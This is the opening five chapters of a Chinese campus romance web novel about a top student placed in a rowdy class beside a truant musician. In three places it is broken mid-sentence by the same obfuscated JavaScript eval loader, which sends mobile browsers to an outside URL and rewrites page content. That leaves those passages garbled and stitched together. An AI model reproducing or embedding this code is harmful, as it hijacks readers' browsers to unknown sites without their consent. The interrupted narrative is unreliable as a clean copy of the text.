《停格》 1. 第 1 章 辛蕴第一次迷恋上痛感,是放学路上那次不大不小的车祸。 她被人群和车流冲刷着,像一只离群的小鱼,孤单单地被挤到了马路中央。 一辆摩托车从后疾驰而过,人群中爆发出一声尖锐的呼喊。 辛蕴想回头看,可是下一秒她的身体在空中划出一道弧线,“嘭”的一声,落在地面上,溅开了一朵小小的水花。 她躺在水泥路面上,感觉到身体里有什么热热的东西在往外流淌。 天空很蓝,周围人的声音变得很远很迟缓,身下的地面温暖有力地承托住她不断下陷的身体,她竟然感觉到无比的放松和踏实。 那种被钝感包裹的痛感,危险又陌生。 后来她才明白,原来喜欢上邬蒙,是另一种意义上的痛感。 - 辛蕴坐在教室的角落位置,目光紧紧地盯着试卷上那道题,手里的中性笔在草稿纸上点了又点,脑中刚浮现一点解题的思路,立刻又被那无孔不入的嘈杂声淹没得无影无踪。 她烦躁地抬头看了一眼周围。 铃声早在半个小时之前已经敲响了,可是教室里依旧热闹非凡,不像是高中的晚自习教室,倒像是清晨的菜市场。 她的视线越过欢笑打闹的人群,直接落在了教室前面的那块黑板上,上面写着一行龙飞凤舞的大字—— 欢迎新同学们加入3班这个大家庭! 辛蕴长长地叹了一口气,刚到新班级的第一个晚自习,她就已经开始后悔当初的决定了。或许她应该听吴女士的话,不应该弃理从文。 可辛蕴觉得就算她“不孝”,让吴女士生了好几天的闷气,上天也不该这么惩罚她。 辛蕴的目光落在前排女生搭在椅背上的校服上,红黑色的冬季校服显得有些臃肿,校服前襟上绣了四个字——南城一中。 作为南城本地所有学子梦寐以求的高中,一中历年来的重本率在全省范围内都是数一数二的,加上去年的文理双状元都花落一中,一时间更是风头无两。 南城一中能有今天的成绩,除了精挑细选的优秀生源和经验丰富的师资团队,最主要还是踏实肯干的校风和严格的军事化管理,简单来说——就是管得严。 可就在这么一个当地顶尖的高中里,辛蕴他们这一届却偏偏出了一朵“奇葩”——文科三班。 这一切还要从“借读生”这个特殊群体说起。 借读生指的是那些没考上南城一中,后面又通过一些“特殊途径”进入南城一中学习的学生们。 那时候上面对于这方面的管理不算严格,学校里存在着一些灰色地带,领导们对此也是睁一只眼闭一只眼,一中每个年级的每个班里都会有一些借读生。但大多数班主任们考虑到借读生多了会影响班级的学习氛围,所以在这方面还算比较克制。 可是三班的班主任不一样,对于那些找上来的家长们,他几乎是来者不拒,这就导致三班的借读生尤其多。 借读生一多,不免出现几颗“老鼠屎”,而这些“老鼠屎”很快就坏了一锅粥。从高一开学起,三班隔三差五就会闹出一些名扬校内外的“新闻事件”,加上三班整个学期在大大小小的各种考试中都稳坐全年级倒数第一的位置,所以很快臭名远扬。 到了高一下学期,开始文理分科,三班的班主任教地理,三班自然而然变成了文科班。而辛蕴本来在四班,班主任是化学老师,所以四班就成了理科班。 到了分科前几天,四班班主任开始给全班同学做思想工作,而他做这些思想工作的目的也很简单——把好苗子留下,坏苗子送走。 辛蕴的成绩很好,语数英三门主科的成绩长期稳居全班第一不说,她的理科成绩同样也很优秀。四班班主任压根没想到辛蕴会选择转去文科班。分科意向表收上来的当天晚上,他当场傻眼,立刻找她谈了话。 “你是个好苗子,那些同学是读不下去理科才转去学文科的,你和他们不一样,你聪明又勤奋,我和其他老师有信心把你培养好,只要你留在我们四班,高中三年好好读,以后清北复交我不敢打包票,读个985、211是完全没有问题的。老师挽留你也是真心觉得以你这个条件去读文科实在是可惜了,你回去再跟你的家长好好商量一下吧。” 难道文科就比理科低一等?辛蕴并不赞同他话里话外的“理科高人一等论”。 四班班主任见辛蕴没反应,又板着脸恐吓道:“不是我自夸,咱们四班在整个年级都是排得上名次的,我们班里尖子生多,学习氛围好,你知道一个班级的学习氛围对一个学生来说有多重要吗?你要是选了文科,再分到那个三班,高中这三年你就算是毁了。” 辛蕴当时低着头没说话,心里想的却是——一个年级一共十八个班级,文科班占十个,十分之一的概率,她总不至于这么倒霉就分到了那个垃圾三班吧? 但谁能想到,她就是这么的倒霉。分班通知书下来的那一瞬间,辛蕴整个人都懵了。 一旁的吴女士瞬间黑了脸,捶胸顿足,指着辛蕴的脑袋哭天喊地。 辛蕴嫌她啰嗦,晚饭都没吃,背着书包就直接去上晚自习了。 今天是分班的第一个晚自习,也是她进入这个新班级的第一天。 一切都比她想象中的更糟糕。 座位表还没发下来,辛蕴挑了一个教室最后排角落里的空位坐下,没有任何和新同学社交的欲望,她拿出一张数学试卷开始埋头做题。 不知道是因为周围的噪音攻击,还是心情实在糟糕,辛蕴实在沉不下心做数学题,她只好收了试卷,拿出英语课本,捂住耳朵正要背单词。 旁边的窗户突然被人从外面拉开了。 辛蕴转头去看,只见外面站着一个又瘦又矮的男生,他指着她旁边的空位,嬉皮笑脸地问:“邬蒙呢?” 那人头上抹了发胶、笑得流里流气,看起来就不像是个好学生。 辛蕴顺着他的视线瞥了一眼她旁边的位置。原来这里还有人坐?她以为没人才坐在这里的。 辛蕴心情不佳,只是冲那人摇摇头,话都懒得多说一句。 那人见她态度冷淡,撇了撇嘴,很识趣地关上窗走了。 周围实在太吵,辛蕴只能把晚自习当成早读,她背了一会儿单词,又开始背语文课文,直到嗓子发哑,她拿出保温杯,趁着喝水的间隙转头打量了一眼旁边的座位。 晚自习的第一节课已经结束了,这人竟然还没来上课?这么明目张胆地逃课,真不愧是三班的学生。 然而不只是三班的学生足够胆大,就连三班的班主任也是超乎寻常的松弛,直到最后一节晚自习快要下课的时候他才姗姗来迟。 他站在讲台上,清了清嗓子,说要开一个简短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832022|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的班会。 这次班会的内容也很简单——一是欢迎新同学,二是任命班委会成员。 三班的班主任叫史振邦,是个身材匀称的中年男人,和面对学生时不苟言笑的四班班主任很不一样,他戴着一副金丝眼镜,眼镜后面的那双眼睛微微弯起一个弧度,说话的时候永远都是一副笑模样。 史振邦站在讲台上讲话,下面的同学坐在座位上讲话。 虽然教室里的噪声比起刚才要小了很多,但依旧像是充斥了一群闹哄哄的苍蝇,似乎永远都不会清净下来。 要知道这在四班是根本不可能发生的,四班班主任就像一个纪律严明的将军,在他的管理下,同学们仿佛一个个令行禁止的士兵,保持安静这只是一项最基本的要求。 辛蕴听着史振邦嘴里那些老一套的欢迎致辞以及对于新学期的展望和鼓励,心里只觉得愈发烦躁。 说完了一堆废话,史振邦慢悠悠地拿起桌上的茶杯,喝了一口茶,“噗”地一下吐出嘴里的茶叶沫子,这才开始说班干部的事。 “这学期的班长依旧是由王嘉禾同学担任,至于副班长,我想任命一位外班来的新同学。”史振邦抬了抬鼻梁上的金丝眼镜,目光在班里逡巡了一圈,笑眯眯道:“辛蕴同学,请你站起来,让大家认识一下你。” 听到自己的名字,辛蕴愣了一下,有些惊讶。 底下本来正在讲小话的同学们停了下来,茫然又好奇地朝四周张望着,教室里难得地安静了下来。 辛蕴站了起来。 一瞬间,全班的目光探照灯似的集中了过来。很显然,大家对她这位空降的副班长有些好奇。 讲台上的史振邦打量了辛蕴一眼,满意地点点头,道:“辛同学,你坐下吧,以后有什么不懂的就去问王嘉禾同学,当然也可以来问我。” 辛蕴挺直了背脊,脸上没有什么特别的表情,只是答道:“我知道了,史老师。” 接下来史振邦任命了几位其他班干部,又道:“座位表就不排了,暂时就这么坐着吧,等到第一次月考的成绩出来,再根据成绩排位置,这样也公平。”话说完,他像是想起了什么,看了一眼辛蕴的方向,表情似乎有些犹豫,问:“辛蕴同学,你要换个位置吗?你在后面能看得清黑板吗?” 他这一句话再次把全班人的目光都吸引到了辛蕴身上。 对于这位新班主任的特殊照顾,辛蕴意外之余也觉得有些小小的荣耀。她正要说话,一抬头对上了其他同学看向她的眼神。 那些眼神中有好奇,有审视,也有戏谑。 辛蕴把原本要说的话咽进了肚子里,心中莫名生出一点傲气和叛逆来—— 等第一次月考的成绩出来再调到前面也不迟,不然别人还以为她也跟那些借读生一样给史振邦送礼走后门了呢。 “不用了,老师,我坐在这里能看见黑板。”女孩纤细的脖颈绷得笔直,仿佛一只骄傲的白天鹅。 那是一个寒冷的冬夜,天气预报说近十年来最强的寒流会在一周后登陆这个拥有上千年历史的文化古城。 寒霜落在玻璃上,凝结成了一朵朵透明的霜花,又被室内众人温热的呼吸融化成水珠流淌下来,像是一道道斑驳的泪痕。 后来在无数个冬夜里,辛蕴总会回忆起这个夜晚,她意识到当时年少的自己或许做了一个错误的决定。 2. 第 2 章 邬蒙出现在教室里的时候,辛蕴正拿着保温杯往嘴里倒一颗卡住的海参。 吴咏梅女士最近迷上了各种养生小视频,每天都兴致昂扬地跟着那些短视频折腾各种乱七八糟的养生餐。 除了平时的一日三餐,她还喜欢往辛蕴的保温杯里放各种各样奇怪的滋补品。今天她给辛蕴准备的是一杯海参虫草汤。 那颗海参太大,卡在杯子里出不来,辛蕴只好仰起头将保温杯凑到嘴边,一手握着杯身,一手半握成拳,一下一下地敲击着杯底。 那姿势实在算不上优雅。 阳光落在少女莹白的皮肤上,她手腕上戴着的那条红绳让邬蒙微微出神。 那根红绳上挂着一颗圆圆的桃核,看起来有种童稚的可爱。邬蒙注意到那颗桃核表面的纹路已经变得圆润光滑,应该是戴了很久的缘故。少女的皮肤雪白,呈现出一种健康红润的光泽,被那根红绳一衬,手腕处的皮肤显得更白了。 他的目光从那根红绳上挪开,对上了对方微微发愣的目光。视线交汇的那一瞬间,他冲她打了一个招呼,“你好。” 女孩显然没想到他这个同桌会在此刻突然出现,她漆黑的瞳孔微微放大,咳嗽了一声,放下保温杯,礼貌地回了一句:“你好。” 话音未落,一个圆滚滚、黑乎乎的物体从她的保温杯里滚落了出来,上面还粘着一些红红黄黄的可疑东西。 伴随着“啪嗒”一声,那坨东西掉在了地面上。 女孩惊呼一声,但很快就稳住了情绪,她抽出几张纸巾,一脸淡定地弯腰快速地将那颗奇形怪状的物体捡了起来。 邬蒙没再看手忙脚乱的少女,他低头抽出一张椅子坐下,不知道是想起了什么,扯了扯嘴角,露出一个淡淡的笑。 辛蕴余光瞥到了这个笑,耳根有些发烫,她疑心对方这笑容是不是跟自己刚才的狼狈有关,又害怕是自己多心。 她很快就收拾好了残局,拿出写了一半的试卷继续写。 邬蒙在班里的人气似乎很高,他这才刚坐下,旁边就围过来了几个同学过来跟他打招呼。 坐在一旁埋头写试题的辛蕴表面上淡定,心里却有些不自在。 辛蕴从小到大都没有和男生当过同桌,昨天她沉浸在分到三班的这个噩耗中,心情一片灰暗,压根没考虑过自己那个素未谋面的新同桌究竟是男是女,此刻突然坐在一个陌生男生的身边,她多多少少还是觉得有些不自在。 但其实她最大的不自在还是来源于——邬蒙长得很好看。 辛蕴有个狂热的追星族表妹,今天春节走亲戚的时候那个小表妹拉着辛蕴硬要给她安利自己喜欢的那个男团。小表妹滔滔不绝、口若悬河,辛蕴却听得有些心不在焉,中途她瞥过几眼那些让人眼花缭乱的饭制视频和照片,别的倒没记住,只记得中间那个队长的脸长得很帅气。 而她这个新同桌的气质和神韵竟然和那个队长有几分神似,明明身上的气息很干净温和,但却又莫名让人觉得很有力量感。用小表妹的话来说,或许就是“蓬勃的少年感和男性的张力并存”。 就比如刚才邬蒙冲着她笑的时候,明明他脸上的表情是阳光灿烂的,但身上的气息却有一种说不上来的感觉。 攻击性?侵略性?痞里痞气?辛蕴也说不上来具体是什么感觉,但这种感觉让她很不自在。 所幸辛蕴的这种不自在没有持续多久,因为邬蒙趴在桌子上睡了两节课后又消失了,然后一整天都没有再出现过。 对此,周围的同学见怪不怪,各科老师都没有问起过,像是早已经习惯了邬蒙的神出鬼没。 他不在,辛蕴却乐得自在。 晚自习的课间休息时间,她正趴在课桌上写自己买的真题集,桌面突然被人敲了几下。 辛蕴抬起头,有些疑惑:“王班长?” 王嘉禾留着齐耳的短发,五官粗豪,但脸上的笑容很有亲和力,她先是看了一眼辛蕴的脸,目光又落在她面前的那本真题集上,开玩笑道:“这么努力呀?这是你自己买的资料书吗?” “书店里随便买的一本真题集。”辛蕴和王嘉禾的关系不熟,并不打算多说,只是淡淡微笑道:“班长找我有事吗?” 王嘉禾冲教师办公室的方向抬抬下巴,说:“史老师让你去他办公室。” 辛蕴点点头,朝王嘉禾道了句谢,起身去了史振邦的办公室。 今天室外的温度很低,走廊边缘已经结了霜。辛蕴推门进去的时候,史振邦正翘着二郎腿往茶杯里倒刚烧开的热水,见她进来,他满脸笑容地冲她招了招手,示意她坐在旁边的椅子上。 “今天我跟咱们班的几个老师简单地聊了几句,他们对你的印象都很好,说你上课的时候态度很认真。”史振邦拿起桌上的茶杯,轻轻地吹了几口热气,“你是理科班转过来的,理科班那边的情况我多多少少也了解一些,听说那边一向对史地政这三门课很不重视,有的班级上这三门课的时候都让学生自习。”说到这里,他顿了一下,隔着蒸腾的热气,他抬眼看着辛蕴的脸,继续说道:“在这样的情况下,你这次分班考试的文综成绩竟然跟我们班的王嘉禾同学也没差几分,可以说是相当了不起的。” 话说完,史振邦放下手里的茶杯,目光打量着坐在他对面的辛蕴,面对自己毫不吝啬的夸奖,眼前的女孩表现得十分淡定,她没说话,那张清秀稚嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832023|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸上露出了一个浅浅的笑容,有些不好意思似的,但更多的却是一种自信和理所当然。 他摩挲了一下手中的茶杯,声音柔和了些,道:“我知道你刚到新班级肯定有些不适应,有什么问题一定要及时反映。我让你当咱们班的副班长,也是对你抱有很高的期待。好好干,好好学,一定前途无量。” - 南城市市中心有一条很有名的古街,名叫飞星街,是外地游客来南城市旅游必打卡的景点之一。 飞星街两边街铺林立,除了一些很有当地特色的旗袍店、丝绸店和小吃店,也有一两家具有现代气息的酒吧供游客消遣。 今晚篝火酒吧的生意很不错,每晚的演唱环节还没开始,酒吧里已经坐满了人,尤其是舞台旁边的吧台上挤满了打扮新潮的年轻男女。 相比于热闹的前场,此刻后面的休息室内显得格外安静,邬蒙抱着一把吉他坐在凳子上,望着窗外出神。 天气预报说过两天有一股冷空气要南下,今晚的温度果然出奇的低,窗户玻璃上蒙了一层白色的雾气,外面的灯红酒绿映在玻璃上,打眼望去,倒真的像是一片熊熊燃烧的篝火。 键盘手丁丁蹲在一旁的角落里,闷头抽完了两根烟,见要等的人还没来,他有些无聊,瞥了一眼旁边的邬蒙,像是想起了什么,挤过来冲他眨眨眼,一脸坏笑地问:“怎么样?今天见没见到我说的那个‘冰山美人’?” 邬蒙低头调着吉他弦,像是没听到他讲话。 一旁的鼓手阿祥有些好奇,凑过来问:“什么冰山美人?” 丁丁挤眉弄眼地说:“昨天我去一中找阿蒙,他不在座位上,那里坐着一个女的,长得倒是挺好看,但就是很高冷,根本不搭理人,可不就是一个‘冰山美人’吗,阿蒙,你说是吧?” 邬蒙头也没抬,似乎对这个话题兴趣缺缺,只是淡淡道:“没事别乱给别人起外号。” 听到这话,丁丁立刻扯着嗓子怪声怪气地模仿他:“哟~没事别乱给被人起外号~” 邬蒙一个飞踹过来,被丁丁闪身躲开,倒是旁边凳子上坐着的阿祥遭受了无妄之灾,差点摔了个狗吃屎。 “我靠,有没有点准头啊?!”他抱怨道。 三个男生正闹着玩,休息室门口急匆匆走进来一个女生。 她约莫二十岁出头的年纪,扎着一头五颜六色的脏辫,脸上的妆容化得浓艳。寒冬腊月的天气,她上面披着一件厚厚的皮草,下身却只穿着一条堪堪遮住屁股的短裤,光着一双冻得发紫的大长腿,身材看起来十分火辣。 “橙子姐,可算把你等来了。”丁丁哀嚎了一声,“你再不来老板就要扣我们钱了。” 3. 第 3 章 橙子本名程橙,是他们乐队的女歌手,圈子里都叫她橙子。她比三个男生大几岁,所以三人都称呼她“橙子姐”。 “是不是要下雪了,今天外面怎么这么冷?”橙子脱下皮草,露出了里面一件修身的针织衫,她顺手把皮草搭在邬蒙身后的椅背上,凑过来跟他说话:“晚饭吃了吗?待会儿唱完了咱们几个去后面整点烧烤?” 邬蒙没答话,只是抬手看了一眼手表,淡淡道:“你迟到了半个小时。” 橙子撇了撇嘴,语气里有撒娇也有不满:“我们女生又不像你们男生说走就能走,我们要化妆,还得搭配衣服,这不都要花时间嘛。再说了,这也是我工作的一部分啊。说起这个我就觉得不公平,咱们四个都拿一样的工资,你们几个男的就不用化妆买衣服,我简直是亏死了。” 丁丁笑嘻嘻地插话:“那你去求阿蒙,让他帮你老板沟通沟通,给你出个妆造费。” 邬蒙在四个人里年纪最小,但却是乐队的主心骨,大事小事大家总是习惯性地等着他来拿主意。用阿祥的话来说,那就是邬蒙身上有一种天生就应该当领袖的气质。 橙子斜眼瞥了一眼坐在那里的邬蒙,正要开口说话。 邬蒙一把拎起吉他,站了起来,“走吧,该上场了。” 或许是天冷了大家都愿意挤进温暖的室内抱团取暖,今晚篝火酒吧里的气氛十分火热,乐队一出场更是把全场的气氛推到了顶点。 年轻的男男女女们跟着音乐晃动着身体,空气里弥漫着鸡尾酒和爆米花甜蜜的气息。 唱完一part下来,音响的声音突然弱了下来。邬蒙低头检查了一下,放下手里的吉他,对着其他几个人说:“音响没电了,我去学校拿一下备用电池,下一part之前赶回来。” 说完,他披上外套,快步走出酒吧大门。 室外刺骨的冷空气让邬蒙打了一个寒颤,他抬头看了一眼深蓝色的夜空,心里琢磨着或许今年冬天还要再下一场雪。 一中位于市区的核心地段,离飞星街不过十几分钟的路程。邬蒙赶到学校的时候,时钟正好指向十一点钟。 高一晚自习的放学时间是十点钟,此刻这一幢楼的高一学生早已经走光了,教学楼的灯暗了下来。 邬蒙打开手机的手电筒,上了二楼,径直朝三班的方向走去。走到近前,才发现三班教室的灯居然还亮着,他推门进去。 教室里很安静,只有空调运行的细微声响,在被书本堆起来的小小角落里坐着一个女生。 竟然是他的那个新同桌。 此刻她安静地趴在书桌上一动不动,手里还握着一支笔,似乎已经睡着了。 邬蒙愣了一下,放轻脚步,走到座位边,拿出抽屉里的备用电池。 但女孩还是被惊醒了,她睁开眼睛愣愣地望着他,那双漆黑的眼眸因为疲惫和困意像是弥漫了一团氤氲的水汽。 邬蒙冲对方示意了一下自己手中的电池,微微扬起嘴角:“回来拿个东西。” 他身上带着凛冽的冬夜气息,高挺的鼻尖因为刚才一路上的疾驰冻得微微发红。 朱粉不深匀,闲花淡淡春。 迷迷糊糊间,辛蕴的脑子里突然莫名蹦出来一句刚才在试卷上看到的诗句。 - 接下来的几天,邬蒙没有再出现在学校。 辛蕴有些怀疑那天晚上是不是她累极了之后做的一个梦。 经过几天的努力,辛蕴差不多已经适应了三班这个新环境。 虽然教室里经常乌烟瘴气,甚至有时候上课她都听不清老师的声音,但好在就如四班班主任说的那样——辛蕴“聪明又勤奋”,她课前提前预习,课后大量做题练习巩固,上课的时候只挑一些重点内容听,几天学下来也还算轻松,当然,她的睡眠时长也因此被挤压得更短了。 摆脱了最开始的郁闷,辛蕴也开始尝试在新班级交一些新朋友。 但奈何她的座位在教室的最后排,这里是借读生的集中区,她们为人大都还算随和,但显然和好学生辛蕴玩不到一起去。 不过因为后排的女生们经常会挤在一起聊八卦,不管辛蕴想不想听,都不可避免地被动参与进那些人的对话,一来二去,虽说她和那些女生没成为朋友,但也算是能说得上话。 女生们聊校草校花的恋爱八卦,聊好用的腮红和唇彩,也聊自己暗恋的男生,而她们嘴里最常提起的那个名字是“邬蒙”。 通过这些乱七八糟的对话,辛蕴倒是了解到一点——原来邬蒙和她一样也是通过中考考进一中的。 这有些出乎辛蕴的预料,她本来以为邬蒙也是靠关系走后门进来的借读生。毕竟就他这三天两头逃课的架势,实在不像是正经考进来的学生。 不过这些乱七八糟的八卦闲谈不过是她学习之余的小小调剂罢了,辛蕴并没有太放在心里。 这个周中数学老师组织了一次随堂考,辛蕴不出意料地以满分的成绩拿下了第一名。 数学老师是刚从师范大学毕业的研究生,上课很有激情,他把辛蕴的试卷给全班同学展示了一遍,极力夸赞她卷面整洁,解题思路清晰,没有一个多余的字和符号,简直是一张无可挑剔的满分答卷。 对于文科生来说,得数学者得天下。消息传到史振邦耳里,他显然很兴奋,大概是觉得自己白捡了一个好 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邬蒙推门走了进来,他的脸色有些疲倦,头发也有些凌乱,似乎刚从被窝里爬起来。外面的天气很冷,他没有穿一中的冬季校服,也没有穿自己的外套,身上只穿着一件薄薄的黑色高领毛衣。那种毛衣看似简单基础,实则非常挑人,可穿在邬蒙身上,却愈发凸显出了他五官里的冷峻和凌厉之气,但他浑身上下分明又散发着一种懒散随意的气息。 这个人身上的气质总是很矛盾,但又奇异的和谐。 看到站在一旁的辛蕴,邬蒙似乎有些意外,他的目光淡淡地扫过她,又转头望着坐在办公桌后面的史振邦。 “找我有事吗?”他问得直截了当。 史振邦把刚才对辛蕴说的话又对邬蒙重复了一遍,说完,他靠在椅背上,打量着站在自己面前的少男少女,开玩笑道:“别的不敢说,就形象这一方面,我们三班肯定能把其他班甩一大截。” 大概是年级倒数第一当久了,史振邦只能在这种莫名其妙的地方找找优越感。 辛蕴被说得有些不自在,下意识转头看向邬蒙。 邬蒙也在看她。 两人的视线短暂的交汇了一下,很快就分开,各自看向了别处。 办公室里安静了片刻,只有史振邦拧开玻璃水杯喝水的声音。 在史振邦咽下第二口茶水的时候,辛蕴听到邬蒙的声音—— “好的。”他的语气没有什么起伏。不像是乐意,但也说不上反感。 史振邦盖上茶杯的盖子,露出一个满意的笑容,说:“那就这样说好了,你们先回去吧。” 没有人询问辛蕴的意见,史振邦好像默认了她不会拒绝。 于是辛蕴便也真的没拒绝。 她把话咽进肚子里,点了点头。 4. 第 4 章 回教室的那段路,两人的气氛有些尴尬。 以辛蕴的性格是绝对不会主动开口和男生讲话的。邬蒙似乎也不是一个多话的人。于是两人就这么安静地并排走着。 正值课间,走廊里有不少学生出来“放风”,有急匆匆出来上个厕所的,有靠在栏杆边聊天的,也有在走廊里来回疯跑打闹的。 邬蒙突然开口问:“你每天都留得那么晚吗?” 辛蕴正埋头控制着自己的步伐,忽然听到邬蒙的声音,她以为是自己听错了,转头有些茫然地望着他,反应了一会儿,“哦”了一声,答:“嗯,在学校里效率高一些。” 听到这个回答,邬蒙扯了扯嘴角,露出一个淡淡的笑。 辛蕴转头盯着对方嘴角那微微弯起的弧度。 那笑容极浅淡,看起来有些漫不经心。邬蒙似乎并没有赋予这个笑容任何情绪和意义。他好像很喜欢这么笑,第一次见面时他脸上也露出过类似的笑容。 或许是因为天气实在太冷了,让辛蕴只想尽快进入温暖的室内,她没有说什么,也没有接话,更没有开启一个新话题,只是低着头沉默地走完了这段路。 两人一起出现在门口的时候,原本嘈杂的教室突然像是被按下了静音键。 辛蕴顶着大家打量的目光,面无表情地回到座位上继续埋头刷题。 好在这次邬蒙依旧没有在教室里逗留太久,上课铃声敲响之前,他再次逃课了。 - 大概是因为上次的数学考试成绩证明了一点——即使身在三班这个烂泥潭,辛蕴依旧能够不受影响。 这两天吴咏梅女士的情绪也渐渐好转,也不再想方设法走后门托关系找人给辛蕴换一个班级,这回又听辛蕴说起要去参加市政府的宣传片拍摄,吴咏梅女士很兴奋,搬出了一套化妆品,说要给辛蕴化妆打扮。 辛东福今天难得回家吃饭,他吃饱喝足往沙发上一靠,听到母女俩在一旁嘀嘀咕咕,大手一挥,说:“我们囡囡要帮市政府拍宣传片?真了不起,要上电视的吧?别穿旧衣服了,爸爸给你转钱,你让你妈带你去买一件上档次的新衣服。”说着,拿起手机就要给辛蕴转钱。 辛蕴说:“都是统一穿校服的。” 吴咏梅正拿着刷子往辛蕴脸上刷腮红,听到这话,她斜了辛东福一眼,嘲讽道:“说你是暴发户你还不认。” 辛东福被呛得有些下不来台,梗着脖子瞪吴咏梅:“我给女儿转钱怎么了?我赚了钱不给女儿花给谁花?” 吴咏梅“啪嗒”一声合上腮红盒,撇撇嘴:“谁知道你把钱给谁花了?” 两个人在一起说不了三句话就要吵架斗嘴,辛蕴早已经习惯,她索性闭上眼心里开始默背昨天刚学的古诗词,等吴咏梅弄完,辛蕴背上书包头也不回地走出了家门。 刚走出小区大门,口袋里的手机震动了一下,她拿出手机低头一看——辛东福刚刚给她转了一万块,还配上了一张很可爱的卖萌表情包。 辛蕴盯着手机屏幕。 屏幕里那可爱的猫猫笑脸和辛东福身上的绿林好汉气质很违和。 她脸上没有什么表情,把手机塞进口袋里,抬头看了一眼天。 今天的温度依旧很低,但是太阳很好,路边常青树的叶子在阳光下闪闪发光。 离约定的时间还有一个小时,辛蕴打算走到学校去,路上顺便买些资料书和课外读物。 一中对面的那条街上开着很多商铺,她逛了几家书店,挑了几本资料书,又拐到路边的一家报刊亭前面。 辛蕴是报刊亭的常客,老板认得她的脸,一看到她过来就热情地打招呼:“小妹妹,你来得刚刚好,今天刚到的一批新杂志!” 辛蕴挑了两本时政分析类的杂志,又挑了几本《作文素材》,正要翻开看看,忽然听到报刊亭后面似乎有人在聊天。 “阿蒙说把吉他暂时放这里,让我们在这里等他一会儿。” “他干啥去了?咱们中午不是要去隔壁青州市跑场子吗?” “好像拍什么学校宣传片去了。” 辛蕴的手一顿,鼻尖钻进了一股新鲜的油墨香味,她想了想,不动声色地挪了几步,在旁边一排挂着各种明星杂志的货架前站定,透过货架间隙看向声音来的方向。 就见两个打扮得流里流气的男生靠在报刊亭后面的那棵大榕树下面,一边抽着烟一边聊着天。 “拍片?”说话的正是那天来找邬蒙的那个瘦小男生,他挤眉弄眼,语气夸张,看起来十分不正经,“有这好事怎么不喊我一起?” 这话一出,站在他对面的那个高高胖胖的男生怪笑了起来。 旁边的折叠小板凳上坐着一个打扮妖娆的女生,她似乎和那两个男生是朋友,听到他们俩讲颜色笑话,女生浑不在意地掐灭手里的烟,将靠在榕树上的琴包提了起来,又从琴包里拿出一把吉他。 那个瘦小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832025|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男生看了她一眼,说:“阿蒙不让别人碰他的琴。” 女生将嘴里嚼着的口香糖吐出来,白了他一眼,说:“我也不能碰?” 辛蕴的目光落在女生那张画着精致妆容的脸上,还没来得及仔细打量,耳边传来了报刊亭老板殷勤的声音—— “这是陆凇,现在最火的明星,前几天到的那一批杂志都被他的粉丝抢空了,这一批是今天早上才到的,你要买一本吗?” 辛蕴愣了一下,目光落在面前那本装帧精美的时尚杂志上,这才回过神来,连连摆手说“不用”,她朝老板示意了一下手里的几本书,问:“这几本一共多少钱?” “一共是五十六块。” 辛蕴付了钱,把杂志塞进书包里,转身朝一中的方向走去。 榕树下的那女生还在弹着吉他,她似乎是不太熟悉这把吉他,弹得不是很流畅,她一边拨弄着琴弦,一边断断续续地哼着歌。 辛蕴背着书包站在人行道旁等红绿灯。 身后的歌声突然大了起来,女生的声音很有味道,她用沙哑但温柔的嗓音唱着—— “说着付出生命的誓言 回头看看繁华的世界 爱你的每个瞬间像飞驰而过的地铁……” 一阵风吹过,头顶的香樟树叶落了几片。 绿灯亮了。 辛蕴踩在那些落叶上,朝一中的方向走去。 周末的校园很安静,她穿过一条林荫小路走到一中的操场上,看见那里已经站着十几个穿着校服的学生,应该都是来参加这次宣传片拍摄的。 一辆面包车停在跑道上,车身上印着市委宣传部几个大字。 两名工作人员已经架好了机器,正在后面调试,还有一名工作人员正叉着腰站在那群学生的面前。 辛蕴快步走了过去,听到那个工作人员在说:“待会儿你们沿着跑道跑,要跑出轻松愉快、朝气蓬勃的感觉,脸上要带着笑,眼睛要有神,盯着跑道前方看就行,千万不能看摄像机,不然就穿帮了,听见了吗?” 学生们稀稀拉拉地应了一声“好”。 “好,你们现在就去跑道那边准备,听我口令,我说跑,你们就跑。” 辛蕴跟着众人朝跑道那边走去,在一道划好的白线后站定。等候的间隙,她打量了一下周围的学生,在人群中看到了一张许久未见的熟悉面孔。 对方也注意到了辛蕴,正咧着嘴冲她笑。 5. 第 5 章 那是以前四班的学生,许清和。 他生得高高瘦瘦,鼻梁上架着一副细边黑框眼镜,看起来斯文俊秀,书卷气极重。 之前两人同在一个班级的时候几乎没说过几句话,但不知怎么的,此刻辛蕴竟然萌生出了一种见到“娘家人”的亲切感,她回了对方一个微笑。 许清和挤到了辛蕴身边,说:“好巧啊。” 辛蕴也点点头,说:“好巧。” 